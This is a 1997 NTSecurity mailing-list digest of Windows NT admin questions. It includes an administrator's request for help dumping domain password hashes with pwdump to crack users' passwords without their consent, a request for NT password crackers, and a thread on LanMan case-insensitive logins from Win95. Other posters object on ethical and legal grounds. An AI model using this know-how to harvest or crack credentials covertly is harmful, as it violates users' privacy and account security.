> > Using this workaround means that you have adjust IIS ftproot to match
> > your users dir.
> 
> Correction: by creating a virtual directory in the ftproot-directory
> and to have it pointing into the user's home directory does the trick as
> well. (Or did I misunderstand your last sentence?)
> 

Yes, I was wrong in saying that it is the ONLY solution. I would also use virtual dirs for small 
amount of users. But when having a lot of users I would still adjust IIS ftproot to match 
the dir where the userdirs are located. This saves lots of boring manual administration work. Of 
course this is this just one solution to a specific problem, in which I originally replied.

Thanks for the correction anyway ;)

-Jukka
I'm a first-time writer to this group, but a long time follower, so
please pardon my ignorance.

I am a systems administrator who needs access to user passwords for
profile changing / custom software installations on NT. Because of the
fiasco that would be raised from asking users for their passwords, we
have decided to find "other means" of obtaining them. To this end, we
have tried the l0phtcrack and pwdump program.

I can successfully get pwdump from my local workstation to get the user
names and hashes from the NT SAM on our primary domain controller.
However, it seems that the size of the files generated by pwdump is
limited to around 100k or so. I will get only a partial dump of the
user ID and password hash codes dumped to my local workstation. The
file size is right about at the 100k barrier.

Question: is there any way to get the complete listing (bypassing the
100k or so file size limitation) without re-writing pwdump myself?

Thanks in advance for any insights.

-Dave Melczer

Please send responses to: dmelczer@wlrk.com
Why does everybody insist on quoting the entire ~1000 line digest when
following up to this thread? I counted about 33k of useless quoted
material Ryan Russell's response. Paul Leach, Jose Palacio, and Tom
Schipper have done the same. We'll conservatively estimate 30k of
useless material in each post, for a total of 120k of nothing.
Multiply that by the my guess at the number of subscribers: 1485 (see [1])
and you end up with over 174M. Does this seem excessive to anyone?

Matt

Footnotes: 
[1] The following command was applied on a directory containing 3232
 ntsecurity messages, with the first one in mid-April. Granted,
 this only counts posters, but it serves to establish a lower
 bound.

 grep '^From:' Mail/ntsecurity/* |sort - |uniq |wc -l

-- 
The difference between a bug and | 
a feature is documentation. | Matt Simmons
 -- Ben Duncan | simmonmt@acm.org
 bend@ali.intop.net |
In responding to a more general concern about cached profiles, someone 
mentioned that the last ten users that have logged onto a workstation have 
there account details cached in the SAM. It was also indicated that there 
was a key for stopping this happening.

Anyone confirm this ?

Anyone got compuserve to work with MS proxy?
I define 4144 TCP outbound on the proxy server for CSI.
Still, I couldn't login using both 2.5 and 3.0.2.

TIA

Chris


Does any one know of any password crackers for Windows NT.
Preferably where you can add to the dictionary.

Thanks

--------------------------
Craig Keegan
NTSecurity
Technical Manager
(0412) 14 17 19

 Do this in the RAS configuration. You can specify a range of IP addresses
to assign to the modems only. Actually, you don't even need to run DHCP if
you are only going to be using dynamic IP addresses for dialups.

HTH,
Charlie


-----Original Message-----
From: Jorge Avila M. 
To: ntsecurity@iss.net 
Cc: ntsecurity@iss.net ; Aymeric Grassart

Date: Saturday, July 19, 1997 1:17 PM
Subject: [NTSEC] ISP???



Hi all!,

well..this is the question.....

i have 5 NT servers, 3 with modem...i just granted some users to
dialin...it works perfect Netbios and IPX/SPX.....the thing is that i
installed Microsoft DHCP Server to give the users IP when they
dialin, but it isn´t working........i created a scope in the DHCP
Manager but still it didn´t work......how do i give ip????, wich
services or servers i need to install?

Thankxs

Jorge Avila
Mexico Direct
Internet Applications Engineer
avila@mexdirect.com


--- On Thu, 17 Jul 1997 12:19:38 +0200 Juan Luis Berenguer wrote:
> Sorry if this one feels a little off-topic... If so, please drop and let me
> know.
> 
> Does abybody know if there is any way to limit access time to network
> resources?. I guess I need to explain a little more...
> 
> I am currently administering a network on a research & educational
> institution. One of the labs is under heavy user demand, and I've been
> asked to schedule user access to its network resources (basically Win95
> workstations with Internet access via proxy and access to resources on NT &
> UNIX servers).
> 
> The perfect solution would be something that would let me say: ...well, I
> want users logging onto *this* NT server to have their login time limited
> to 30 (or 45, 60, 217...) minutes... no matter what time of the day they
> log in. After that, no more network for you, babe (not just being logged
> off *this* NT server, but no access to the whole TCP/IP network).
> 
> Any ideas on how to set-up this *chronometer democracy*?
> 
> Thanks in advance for your help.
> 
> Juan Luis Berenguer
> 
> Cibercom


using AbirNet SessionWall-3 you can define the time restrictions on stations usage 
of resources and network protocols.
you can even try it yourself, SessionWall-3 runs on any windows 95 or NT machine and 
monitor and enforce restrictions on the whole network (without even being a gateway)
you can download a 30 days test-drive version from http://www.abirnet.com

there are other products which are gateway based which work on the quota issue where you
limit the user to a certain number of bytes.

Hope this helps
/Ziv
On Thu, 17 Jul 1997, Juantomas Garcia wrote:

> Date: Thu, 17 Jul 1997 17:26:05 +0200
> From: Juantomas Garcia 
> To: "'ntsecurity@iss.net'" 
> Subject: [NTSEC] Hack attack to Internic
> 
> 
> The problems with Internic and .com domains 
> is hack attack. There are more info about what happens?
> 

Actually, the most recent problems with .com and .net domains was 
database corruption. They also had database troubles with the WHOIS 
servers. The nameserver problem is covered in NSI bulletin 097-004.
Basically, they released corrupted root domains to the world on the 16th, 
then after they noticed, it took them time to contact the root server 
administrators to have them load new zone files. Admins for the roots 
covering .com and .net weren't able to respond as quickly. They're 
blaming the problem on human error for releasing the zone files despite 
error messages.

Paul
-----------------------------------------------------------------------------
Paul D. Robertson "My statements in this message are personal opinions
proberts@clark.net which may have no basis whatsoever in fact."
 PSB#9280

Brian,

I can reach the site with no problems (Sunday, 07/20/97 @ 10:18 EDT).
There may have been a temporary problem somewhere. Try this link --
http://www.asmodeus.com -- it may work for you now.

Although I do not know when you did your DNS lookup, here is one I just
did from my system:

nslookup
> set type=any
> ieway.com

Non-authoritative answer:
ieway.com nameserver = UNIX.IEWAY.com
ieway.com nameserver = ns.mci.NET
ieway.com nameserver = UNIX.IEWAY.com
ieway.com nameserver = ns.mci.NET

UNIX.IEWAY.com internet address = 204.188.52.10
ns.mci.NET internet address = 204.70.128.1
UNIX.IEWAY.com internet address = 204.188.52.10
ns.mci.NET internet address = 204.70.128.1
> server unix.ieway.com
Default Server: unix.ieway.com
Address: 204.188.52.10

> ieway.com
Server: unix.ieway.com
Address: 204.188.52.10

ieway.com nameserver = ns.mci.net
ieway.com nameserver = unix.ieway.com
ieway.com
 primary name server = unix.ieway.com
 responsible mail addr = root.unix.ieway.com
 serial = 1997051122
 refresh = 7200 (2 hours)
 retry = 1800 (30 mins)
 expire = 86400 (1 day)
 default TTL = 7200 (2 hours)
ieway.com MX preference = 10, mail exchanger = unix.ieway.com
ieway.com internet address = 204.188.52.10
ieway.com nameserver = ns.mci.net
ieway.com nameserver = unix.ieway.com
ns.mci.net internet address = 204.70.128.1
unix.ieway.com internet address = 204.188.52.10
> exit


David R. Bivens
Ash Grove Systems & Technologies
Atlanta, Georgia, USA
drbivens@agst.com


On Thursday, July 17, 1997 11:40, bmulford@deilink.com
[SMTP:bmulford@deilink.com] wrote:
> Has anyone found this? The URL does not resolve to a host, and the
domain ieway.com does not have a MX record
> for STMP, so I can't email the Greg (the original poster).
> 
> Thanks
> 
> Brian James Mulford 
> mailto:bmulford@deilink.com - news:alt.brian
> 
> Data Enhancement International, Inc.
> 2361 Campus Drive Suite 215
> Irvine California 92612
> 
> Phone (714) 833-3672 Fax (714) 833-8572
> http://www.deilink.com ftp://ftp.deilink.com
> 
> Image is everything. People's perceptions of reality overshadow true
reality. 
> It's all in the building of perception. It's the creation of an image.

> Substance is no longer of any importance.
> 
> ----------
> From: "Greg Hoglund" 
> Sent: Wednesday, July 16, 1997 10:29 AM
> To: 
> Cc: 
> Subject: [NTSEC] S.A.T.A.N. for NT 4.0
> 
> 
> I have been working on a port scanner/database for NT for quite some
time. 
> It is actually quite fast, and supports burst scanning an entire class
C. 
> It does use winsock 2, so you need to have NT 4.0 Workstation or
Server,
> and an 800x600 display. 
> 
> Please download a copy from www.asmodeus.com
> 
> For those of you who have already seen asmodeus, this is a new version
with
> significant enhancements. Please contact me and let me know what you
think
> of the program, how I can improve it for your needs, etc etc.. This
has
> been an ongoing project for me and I plan on supporting it.
Information on
> contacting me can be obtained from the About Box.
> 
> Thanks in advance,
> 
> -Greg Hoglund
> hoglund@ieway.com
> 
I'm new to the security environment, and have a couple of questions regarding Windows95 and security( yeah, I know.;-) )

Under NT, I setup a user with a case sensitive password, and noticed that NT does not care about that case sensitive part, when logging in from a 95 station. Wouldn't this reduce the number of tries I would have to make, in order to 'guess' a password?

NT must know that I'm coming from a Win95 station, so couldn't you watch for this and block access? Is it possible to 'watch' for NT only stations, and deny all others? Or even variations of this?(UNIX, SAMBA, etc.)

What kind of 'signature' is Win95 sending or is NT capable of 'asking' what the OS of the incomig machine is?

With all of the known security holes in both NT & Win95, couldn't I use Win95(or some other OS) to gain access to parts of NT, because NT is compromising some of it's security(i.e case sensative passwords) because the other OS is incapable(on purpose?) of complying with NT's security?

Sorry for the ramblings(and asking more than a couple of questions :-) ), but the above sounds like some possible ways of attacking NT or even bypassing security.

Thanks to all for the great discussions on this list. I look forward to being blasted about any stupidity I may have asked(be gentle please) and any responses which may be helpful to me and all others on this list.

Robert


* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * 
Robert P. MacDonald (rmacdonald@perrigo.com)
Systems, Network & Security Analyst
Perrigo Company, Allegan, Michigan

 
Can you elaborate on the second sentence?

-jjs

>-----Original Message-----
>From: DOttenheimer@rad-eng-po.radiology.uiowa.edu
>[SMTP:DOttenheimer@rad-eng-po.radiology.uiowa.edu]
>Sent: Thursday, July 17, 1997 11:35 AM
>To: 'ntsecurity@iss.net'; Jan Nelson
>Subject: Re: [NTSEC] Win95 Poledit Questions
>
> This is all in the policy editor documentation. Read it.
> 
> Then use the NT editor for multiple policy editing.
> 
> Davi
>
>
>______________________________ Reply Separator
>_________________________________
>Subject: [NTSEC] Win95 Poledit Questions
>Author: Jan Nelson at internet
>Date: 7/16/97 5:31 PM
>
>
>Delivered-To: nt-out-link@iss.net
>Delivered-To: nt-out@iss.net
>Sender: owner-ntsecurity@iss.net
>Precedence: bulk
>Reply-To: Jan Nelson 
>X-Loop: ntsecurity
>X-Comment: TO UNSUBSCRIBE: email "unsubscribe ntsecurity" to
>majordomo@iss.net 
>X-Comment: DO NOT send subscribe/unsubscribe messages to ntsecurity@iss.net 
>-----------------------------------------------------------------------------
>---
>How to create multiple policies on a standalone system?
> 
>How to lock down the local disc drives to read only status by user, group
>polici
>es?
> 
>How to create a default set of mutli-user policies that can be installed in a
>Wi
>n95 peer network?
> 
>Sample policy files to use as templates?
> 
>Is third party software necessary to lock down workstations?
> 
>TIA
> 
>The collected questions of the classroom of Jan at U of Idaho.


How can I access the User Database using the Windows32 API.


I need to list my users and apdate your passwords




Luis Bezerra
luis@secrel.com.br
Yes it does. It does seem that some programs and stuff are
missing.....wonder wher we might be able to find alternate locations.

> -----Original Message-----
> From: Reinout De Cock [SMTP:reinout@riverland.es]
> Sent: Friday, July 18, 1997 3:52 AM
> To: NTBUGTRAQ; ntsec
> Subject: [NTSEC] NT Internals
> 
> Hi,
> 
> Could be that this was mailed already but I didn't see any messages
> when
> I posted this.
> 
> NTInternals seem to be back on www.ntinternals.com
> 
> Bye,
> Reinout
we recevied the following error from System Log in Event Viewer
----------------------------------------
Date: 7/20/97
Time: 11:58:37AM
User: N/A
Computer: DATASERVER
Event ID: 9011
Source: Nbf
Type: Information
Category: None

Description:
Nbf received an unexpected FRMR packet from a remote computer. 

Data:
0000: ff ff 18 00 03 00 64 00 ÿÿ....d.
0008: 00 00 00 00 33 23 00 40 ....3#.@
0010: 01 00 00 00 3e 01 00 c0 ....>..A
0018: ff ff ff ff 00 00 00 00 ÿÿÿÿ....
0020: 00 00 00 00 00 00 00 00 ........
0028: 02 00 00 00 40 00 00 00 ....@...
0030: 0e 00 00 00 20 08 0c 00 ........
0038: 02 06 06 01 01 00 07 01 ........
--------------------------------
What is Nbf??? Can anyone explain what is happening??

We are running in NT3.51
-----BEGIN PGP SIGNED MESSAGE-----

On 19 Jul 97 at 10:55, Melczer, David wrote about: [NTSEC] PWDUMP
problems...

> I am a systems administrator who needs access to user passwords for
> profile changing / custom software installations on NT. Because of
> the fiasco that would be raised from asking users for their
> passwords, we have decided to find "other means" of obtaining them.
> To this end, we have tried the l0phtcrack and pwdump program.


Pardon if this is off topic, but don't you think that just cracking
their passwords, because it's 'easier', is a little bit unethical?
It's just like grabbing the wallet of an employee, while he is at
lunch, because it's easier to get to his drivers licence and SSN
number than by asking him...

A password is for one person only. If it was meant for Administrators
to know the passwords of users, than we would be able to see the
password using usermanager. Attempting to crack their passwords may
not just be unmoral but maybe even illegal or un-constitutional
(Violation of privacy, etc).

Send an email to all employees asking for the password OR the CONSENT
of the employee to attempt a crack of their password. Explaining the
circumstances (loss of connectivity, etc) they will send you the
password.

Most 'migrations' or other major redo's in a system are done by 
resetting the password to 'password' or blank, letting the user know
in advance that their password will be reset and they will be asked to
change it, once logged in.

Again, I can see where you're coming from, but I'm questioning if this
is attempt isn't unethical....


Comments welcome,
Frank




-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBM9J4asZP3ocmY5AlAQHPOwP+Ox/phZ+vpPhlV95YYV6qjXiDJSl4gi3z
06YzZRPYyBKTMmfbLg/Vhf/Diw1QtJBgwa0JlaWvwR8/fyAdI2XPrAwfu9TOqusr
Z0q/O5nVBBsV1m+ptPmXnQ0RjUer+Sg8lrfoEdZi9z9qmnjZInZOYIjTRRJ4mNuB
kGVhAwEslTM=
=f0z6
-----END PGP SIGNATURE-----
-----BEGIN SPAM WARNING-----

WARNING: ANYONE SENDING UNREQUESTED ADVERTISEMENT
VIA EMAIL WILL BE ADDED TO A FILTER LIST, WHICH WILL
AUTOMATICALLY DELETE EVERY MAIL FROM THE SENDER.
THIS WILL DISABLE FURTHER CORRESPONDENCE.
PLEASE REFRAIN FROM SENDING JUNK E-MAIL (SPAM).
THIS E-MAIL ADDRESS IS NOT TO BE ADDED TO A MASS
EMAIL LIST.

-----END SPAM WARNING-----
Im not sure how your workstation is setup, but when you log on to a NT
domain, the passwd is ALWAYS case sensitive... (or at least I have never
been able to bypass it) The username I believe is not however.

-jjs

>-----Original Message-----
>From: Robert P. MacDonald [SMTP:RMACDONALD@perrigo.com]
>Sent: Sunday, July 20, 1997 11:59 AM
>To: ntsecurity@iss.net
>Subject: [NTSEC] Denying Win95 Machines from accessing NT.
>
>I'm new to the security environment, and have a couple of questions regarding
>Windows95 and security( yeah, I know.;-) )
>
>Under NT, I setup a user with a case sensitive password, and noticed that NT
>does not care about that case sensitive part, when logging in from a 95
>station. Wouldn't this reduce the number of tries I would have to make, in
>order to 'guess' a password?
>
>NT must know that I'm coming from a Win95 station, so couldn't you watch for
>this and block access? Is it possible to 'watch' for NT only stations, and
>deny all others? Or even variations of this?(UNIX, SAMBA, etc.)
>
>What kind of 'signature' is Win95 sending or is NT capable of 'asking' what
>the OS of the incomig machine is?
>
>With all of the known security holes in both NT & Win95, couldn't I use
>Win95(or some other OS) to gain access to parts of NT, because NT is
>compromising some of it's security(i.e case sensative passwords) because the
>other OS is incapable(on purpose?) of complying with NT's security?
>
>Sorry for the ramblings(and asking more than a couple of questions :-) ), but
>the above sounds like some possible ways of attacking NT or even bypassing
>security.
>
>Thanks to all for the great discussions on this list. I look forward to being
>blasted about any stupidity I may have asked(be gentle please) and any
>responses which may be helpful to me and all others on this list.
>
>Robert
>
>
>* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * 
>Robert P. MacDonald (rmacdonald@perrigo.com)
>Systems, Network & Security Analyst
>Perrigo Company, Allegan, Michigan
>
> 
 I believe you can take advantage of MS's new patch for NT that 
only allows NT strength authentication; it can be made to refuse LanMan 
authentication which will block out all Win95 clients with a simple 
registry change. Someone correct me of I'm wrong . . .

Danny
d016627c@dc.seflin.org

"Who looks outside, dreams; who looks inside, awakes."--Carl Jung

On Sun, 20 Jul 1997, Robert P. MacDonald wrote:

> I'm new to the security environment, and have a couple of questions regarding Windows95 and security( yeah, I know.;-) )
> 
> Under NT, I setup a user with a case sensitive password, and noticed that NT does not care about that case sensitive part, when logging in from a 95 station. Wouldn't this reduce the number of tries I would have to make, in order to 'guess' a password?
> 
> NT must know that I'm coming from a Win95 station, so couldn't you watch for this and block access? Is it possible to 'watch' for NT only stations, and deny all others? Or even variations of this?(UNIX, SAMBA, etc.)
> 
> What kind of 'signature' is Win95 sending or is NT capable of 'asking' what the OS of the incomig machine is?
> 
> With all of the known security holes in both NT & Win95, couldn't I use Win95(or some other OS) to gain access to parts of NT, because NT is compromising some of it's security(i.e case sensative passwords) because the other OS is incapable(on purpose?) of complying with NT's security?
> 
> Sorry for the ramblings(and asking more than a couple of questions :-) ), but the above sounds like some possible ways of attacking NT or even bypassing security.
> 
> Thanks to all for the great discussions on this list. I look forward to being blasted about any stupidity I may have asked(be gentle please) and any responses which may be helpful to me and all others on this list.
> 
> Robert
> 
> 
> * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * 
> Robert P. MacDonald (rmacdonald@perrigo.com)
> Systems, Network & Security Analyst
> Perrigo Company, Allegan, Michigan
> 
> 
> 

I'm having a problem that I'm hoping someone here can help me with.
It boils down to NT Server 4.0 (Service Pack 3 + hotfixes) not hanging
up the phone line after initiating a demand-dial connection to the
ISP. There is traffic going through the modem every few seconds after
the line comes up which, while apparently not enough to cause the line
to go up, is enough to keep the line from hanging up. There are no
log entries to go with it, and no activity on any networked machine
that corresponds to it.

The details:
There are three NT 4 servers in the network (and only Windows 95
clients). The server in question runs MS Proxy 1.0 and MS Exchange
5.0 with the Internet Mail Service, is a BDC, handles DHCP-based IP
address assignment for all Windows 95 clients and uses the original
version of NT4 RAS (as modified by service packs; not the new R&RAS)
to dial-out to the ISP as needed. The server has a fixed IP address
on the Ethernet adapter (192.168.x.y) and gets a statically
assigned address everytime it connects to the Internet. Only IP is
bound to the modem.

The other servers include one which is PDC, provides file and print
service and does backups, and another which has one dial-in (only)
RAS connection and is both a BDC and MS SQL 6.5 server. Both have
fixed IP addresses in the 192.168.x.0 network. Only a few of the
Windows 95 clients are setup to use the Proxy server (only managers
get Internet access on their desktop) but all machines use Exchange
or Outlook clients to access the Exchange server. The only other
items on the network are two HP laser printers with static IP
addresses.

The main impetus for solving the problem is economic -- the company
only uses the connection for inbound and outbound Internet e-mail
and for access to the Web. (Estimate: Usually an hour a day, no more
than two.) So having the modem connected continously is extremely
expensive given the lack of benefit the company derives from it (no
flat rate for business phone lines available). Even turning on the
modem in the morning and off at the end of the day is having it on
300% too long. The secondary, and relevant to this list, reason is
that the extra connection time increases the amount of time they are
exposed to the Internet for potential security problems. While we
realize that securing the system is necessary regardless, at least
someone would have to time things right in order to even attempt to
access the system from the Internet instead of knowing he/she could
attack anytime during business hours.

So far, the only explanation I have about the mysterious traffic comes
from the article in July's issue of Windows NT magazine regarding the
broadcast requests for information about the name "JSPNRMPTGSBSSDIR"
appearing anytime RAS is active. Of course, the article doesn't help
explain what to do about that traffic, and presumably there is a way
to fix the problem since MS touts the dial-on demand features of
Proxy. (BTW, any one looking for the KnowledgeBase article mentioned
in the WinNT mag article should search Dejanews for the mystery
machine name. You'll find a copy of the KB article in DejaNews's
"old" database of Usenet postings.)

Apologies for the length of this post, but I wanted to make sure I had
all the details out there in case someone is able to help. Any
suggestions?

 _
| |
|-|
| |pu 

Juan,

I would put in a Citrix Winframe, to act as a proxy. You need to run the
cruize the net application from a Winframe. Winframe has the "disconnect"
after used up time, available. 

regards:jamie

----------
> From: Juan Luis Berenguer 
> To: ntsecurity@iss.net
> Subject: 
> Date: Thursday, July 17, 1997 7:19 AM
> 
> Sorry if this one feels a little off-topic... If so, please drop and let
me
> know.
> 
> Does abybody know if there is any way to limit access time to network
> resources?. I guess I need to explain a little more...
> 
> I am currently administering a network on a research & educational
> institution. One of the labs is under heavy user demand, and I've been
> asked to schedule user access to its network resources (basically Win95
> workstations with Internet access via proxy and access to resources on NT
&
> UNIX servers).
> 
> The perfect solution would be something that would let me say: ...well, I
> want users logging onto *this* NT server to have their login time limited
> to 30 (or 45, 60, 217...) minutes... no matter what time of the day they
> log in. After that, no more network for you, babe (not just being logged
> off *this* NT server, but no access to the whole TCP/IP network).
> 
> Any ideas on how to set-up this *chronometer democracy*?
> 
> Thanks in advance for your help.
> 
> Juan Luis Berenguer
> 
> Cibercom

Wilson,

A Microsoft Knowlwdge Base article says the following:

PSS ID Number: Q103154
Article last modified on 10-09-1996
PSS database name: WINNT
 
3.50 3.51 4.00
 
WINDOWS
 

-----------------------------------------------------------------
The information in this article applies to:
 
 - Microsoft Windows NT Workstation versions 3.5 and 3.51
 - Microsoft Windows NT Server versions 3.5 and 3.51
 - Microsoft Windows NT Workstation version 4.0
 - Microsoft Windows NT Server version 4.0
-----------------------------------------------------------------
 
The following error may occur in the event log when a logical link
connection (LLC) entity receives an invalid data unit:
 
 Nbf received an unexpected FRMR packet from a remote computer.
 
FRMR is the Frame Reject frame sent by the NetBEUI Frames (NBF) LLC
layer when one of the following conditions causes a data unit to
become invalid:
 
 - Invalid sequence number
 - Invalid presence of an information field
 - Maximum allowable length for an LLC data unit is exceeded
 
These errors cannot be corrected by retransmission. In response to the
FRMR frame, the workstation sends a Disconnect (DISC) command to
terminate the link connection. The workstation may then reestablish
the connection.
 
Additional reference words: prodnt 3.50 3.51 4.00 Event:9011
KBCategory: kbnetwork
KBSubCategory: ntnetserv
=============================================================================
Copyright Microsoft Corporation 1996.


At 01:59 PM 20-07-97 -0500, you wrote:
>we recevied the following error from System Log in Event Viewer
>----------------------------------------
>Date: 7/20/97
>Time: 11:58:37AM
>User: N/A
>Computer: DATASERVER
>Event ID: 9011
>Source: Nbf
>Type: Information
>Category: None
>
>Description:
>Nbf received an unexpected FRMR packet from a remote computer. 
>
>Data:
>0000: ff ff 18 00 03 00 64 00 ÿÿ....d.
>0008: 00 00 00 00 33 23 00 40 ....3#.@
>0010: 01 00 00 00 3e 01 00 c0 ....>..A
>0018: ff ff ff ff 00 00 00 00 ÿÿÿÿ....
>0020: 00 00 00 00 00 00 00 00 ........
>0028: 02 00 00 00 40 00 00 00 ....@...
>0030: 0e 00 00 00 20 08 0c 00 ........
>0038: 02 06 06 01 01 00 07 01 ........
>--------------------------------
>What is Nbf??? Can anyone explain what is happening??
>
>We are running in NT3.51
>
>

+============================================+
Christine Keogh 
Teaching & Learning Technology
 Support Unit E-mail: Christine.Keogh@anu.edu.au
Australian National University Ph: {intl+61+6+ | (06)} 249 3617
Canberra ACT 0200, AUSTRALIA Fax: {intl+61+6+ | (06)} 249 3992 

At 01:59 PM 7/20/97 -0500, you wrote:

>we recevied the following error from System Log in Event Viewer

>----------------------------------------

>Date: 7/20/97

>Time: 11:58:37AM

>User: N/A

>Computer: DATASERVER

>Event ID: 9011

>Source: Nbf

>Type: Information

>Category: None

>

>Description:

>Nbf received an unexpected FRMR packet from a remote computer. 

>

>Data:

>0000: ff ff 18 00 03 00 64 00 ÿÿ....d.

>0008: 00 00 00 00 33 23 00 40 ....3#.@

>0010: 01 00 00 00 3e 01 00 c0 ....>..A

>0018: ff ff ff ff 00 00 00 00 ÿÿÿÿ....

>0020: 00 00 00 00 00 00 00 00 ........

>0028: 02 00 00 00 40 00 00 00 ....@...

>0030: 0e 00 00 00 20 08 0c 00 ........

>0038: 02 06 06 01 01 00 07 01 ........

>--------------------------------

>What is Nbf??? Can anyone explain what is happening??

>

>We are running in NT3.51

>


According to TechNet:



NBF stands for NetBeui Frames, and in the NetBeui Frames LLC layer


There is an article on this exact error in the Knowlege base which you=

 should be able to read from the MS web page. =20



In general this error occurs when a nonstandard frame is received by the=

 NetBeui LLC layer. The frame is rejected (the FRMR). The workstation that=

 sent the corrupted frame is then disconnected, and can at that point=

 reconnect and reestablish communications



-tim




0000,8080,0000MMM MMM SSSSSSSS UU UU 
 0000,0000,ffffTimothy D. First,
MCPS

0000,8080,0000MMMM MMMM SS UU 
 UU firsttim@acm.msu.edu

0000,8080,0000MM MM MM MM SSSSSSSS UU UU 
 tim@friesenphoto.com

0000,8080,0000MM MMMM MM SS UU UU 
 http://www.acm.cps.msu.edu/~firsttim

0000,8080,0000MM MM MM SSSSSSSS 
UUUUUUUU

Others might disagree but I think a security forum (especially dealing with NT) is an appropriate place to discuss ethics and the law as we respectively understand them.

Based on my understanding that the company already has the legal right (someone correct me if they have a different understanding) to view email sent/received under an account issued by the company, it seems to follow that a password is also the property of the company. While it sets a bad corporate image, in the eyes of the employee, to hold their passwords, it is probably within their rights to do so. If I am recalling the C2 specification correctly, one reason to have each password known only by the account holder is to ensure the objects generated/owned by that person are indeed his own. The employee who is aware of a password policy and who is accused of violating corporate policy based on evidence generated from a computer system can probably legally argue that since he wasn't the only person to know his account password, it cannot be proven that he/she actually violated the policy/law in question (since someone else could have used his/her password and done the evil deed in question).

It seems that the absence of a written corporate computing usage / awareness policy leads to this dilemma. As an administrator, I can recover passwords on an as need basis, but with the understanding that the employee/user will have to be informed of this, as he will become aware of it the next time he logs on to the system anyways. 

While I do not personally view cracking account passwords of users, as a representative of the company, as unethical, it does seem a smelly, rotten job that will only lower company morale or begin a nasty us vs. them attitude. A better, although potentially unwieldy, way to deal with this might be to reset ALL passwords, assigning them to each account, disallowing password changes in the account information and issuing a letter in a sealed envelope containing the password along with a statement of policy, which the user signs and acknowledges. 

This would put users on the alert that anything they do not want shared to corporate superiors should not be left on their systems and also give the company immediate grounds for termination or legal recourse should they turn something up in violation in their policy. Also, the corporation might want to seek that system administrators be bonded and held accountable for any maverick activity (see how holding someone else's password becomes a huge liability?). But for the person who wants to encrypt material on their PC's, what are you going to do w/o a password? What are you going to do to keep a person from holding such information?

Tough question. I'm glad to see the discussion!
Vic

----------
From: Frank Knobbe[SMTP:FKnobbe@BellSouth.net]
Sent: Sunday, July 20, 1997 2:44 PM
To: Melczer, David; ntsecurity@iss.net
Subject: Re: [NTSEC] PWDUMP problems...

-----BEGIN PGP SIGNED MESSAGE-----

On 19 Jul 97 at 10:55, Melczer, David wrote about: [NTSEC] PWDUMP
problems...

> I am a systems administrator who needs access to user passwords for
> profile changing / custom software installations on NT. Because of
> the fiasco that would be raised from asking users for their
> passwords, we have decided to find "other means" of obtaining them.
> To this end, we have tried the l0phtcrack and pwdump program.


Pardon if this is off topic, but don't you think that just cracking
their passwords, because it's 'easier', is a little bit unethical?
It's just like grabbing the wallet of an employee, while he is at
lunch, because it's easier to get to his drivers licence and SSN
number than by asking him...

A password is for one person only. If it was meant for Administrators
to know the passwords of users, than we would be able to see the
password using usermanager. Attempting to crack their passwords may
not just be unmoral but maybe even illegal or un-constitutional
(Violation of privacy, etc).

Send an email to all employees asking for the password OR the CONSENT
of the employee to attempt a crack of their password. Explaining the
circumstances (loss of connectivity, etc) they will send you the
password.

Most 'migrations' or other major redo's in a system are done by 
resetting the password to 'password' or blank, letting the user know
in advance that their password will be reset and they will be asked to
change it, once logged in.

Again, I can see where you're coming from, but I'm questioning if this
is attempt isn't unethical....


Comments welcome,
Frank




-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBM9J4asZP3ocmY5AlAQHPOwP+Ox/phZ+vpPhlV95YYV6qjXiDJSl4gi3z
06YzZRPYyBKTMmfbLg/Vhf/Diw1QtJBgwa0JlaWvwR8/fyAdI2XPrAwfu9TOqusr
Z0q/O5nVBBsV1m+ptPmXnQ0RjUer+Sg8lrfoEdZi9z9qmnjZInZOYIjTRRJ4mNuB
kGVhAwEslTM=
=f0z6
-----END PGP SIGNATURE-----
-----BEGIN SPAM WARNING-----

WARNING: ANYONE SENDING UNREQUESTED ADVERTISEMENT
VIA EMAIL WILL BE ADDED TO A FILTER LIST, WHICH WILL
AUTOMATICALLY DELETE EVERY MAIL FROM THE SENDER.
THIS WILL DISABLE FURTHER CORRESPONDENCE.
PLEASE REFRAIN FROM SENDING JUNK E-MAIL (SPAM).
THIS E-MAIL ADDRESS IS NOT TO BE ADDED TO A MASS
EMAIL LIST.

-----END SPAM WARNING-----


You know, I was about to reply to the same thing when I remember 
something....I can logon to WindowsNT 3.51 PDC with my password
typed in UPPER-CASE and LOWER-CASE using a Windows95 client.
When it is not documented, I believe that somehow along the validation
process, something is done or not done.

To reconfirm my hazy memories:
I tried logon to a known WindowsNT3.51 PDC with which I have 
lowercase password access as a normal user. For 10 times, I logon
successful with either uppercase, lowercases or a mixture of both.

With that evidence, I walked over to the same NT server and logon
using the same account and password again. No luck this time,
password is case-sensitive. I did not confirm using a NT workstation
logon, don't have one handy around.

I guess the key-issue of this post is that you can key in either
uppercase or lowercase versions of your password to logon
to a NT machine USING A WINDOWS95 CLIENT.

But then again, I am never overly confident when it comes to WindowsNT
problem, so, can someone verify this again?

--------------------------------------------------------------------------------------------------------
Henry Lim Office: Techpoint 
Systems Engineer, Projects PTSC Tel: (65) 4865259

 
Disclaimer: All my opinions are my own and could arise from lack of sleep.
 So give me your most gracious forgiveness.
 All flames > ../devices/pseduo/mm@0:null
--------------------------------------------------------------------------------------------------------

-----Original Message-----
From: Joshua Soliz [SMTP:jsoliz@dpai.com]
Sent: 20 July 1997 21:05
To: 'ntsecurity@iss.net'
Subject: RE: [NTSEC] Denying Win95 Machines from accessing NT.

Im not sure how your workstation is setup, but when you log on to a NT
domain, the passwd is ALWAYS case sensitive... (or at least I have never
been able to bypass it) The username I believe is not however.

-jjs

>-----Original Message-----
>From: Robert P. MacDonald [SMTP:RMACDONALD@perrigo.com]
>Sent: Sunday, July 20, 1997 11:59 AM
>To: ntsecurity@iss.net
>Subject: [NTSEC] Denying Win95 Machines from accessing NT.
>
>I'm new to the security environment, and have a couple of questions regarding
>Windows95 and security( yeah, I know.;-) )
>
>Under NT, I setup a user with a case sensitive password, and noticed that NT
>does not care about that case sensitive part, when logging in from a 95
>station. Wouldn't this reduce the number of tries I would have to make, in
>order to 'guess' a password?
>
>NT must know that I'm coming from a Win95 station, so couldn't you watch for
>this and block access? Is it possible to 'watch' for NT only stations, and
>deny all others? Or even variations of this?(UNIX, SAMBA, etc.)
>
